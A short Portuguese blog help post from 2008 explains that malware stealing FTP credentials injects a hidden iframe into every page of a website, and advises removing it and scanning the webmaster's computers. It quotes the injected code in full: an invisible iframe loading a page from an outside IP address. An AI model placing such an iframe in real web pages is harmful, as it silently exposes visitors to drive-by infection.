Site denunciado como foco de ataques!

13/11/2008 por Ricardo Delcastanher

Esta é a imagem que o Firefox mostra quando o site que você tenta acessar pode contaminar seu computador com vírus. Para sua segurança, saia do site infectado.

Mas o que fazer quando esta mensagem aparece no seu site? Como ele pode estar infectado?

Provavelmente isso começou quando um computador desprotegido foi infectado a partir de um desses sites. E este computador desprotegido pertencia ao seu webmaster ou a sua empresa.

O vírus, além de roubar informações do usuário, aproveita quando ele se conecta via FTP e coloca o seguinte código em todas as páginas do seu site:

<iframe bipoz=’HFkEhvtZ’ src=’http://218.93.205.42/index.php ‘ gxshu=’XqaGt3AX’ width=’111′ height=’162′ style=’display:none’></iframe>

O código pode ter algumas variações, mas segue este padrão. Apague o código de todas as suas páginas. Mas não esqueça de passar um bom anti-vírus nos computadores que têm acesso ao FTP.

* Mesmo após remover o código malicioso do seu site, esta mensagem pode continuar aparecendo por, mais ou menos, uma semana.

Publicado em Ajuda | 3 comentários »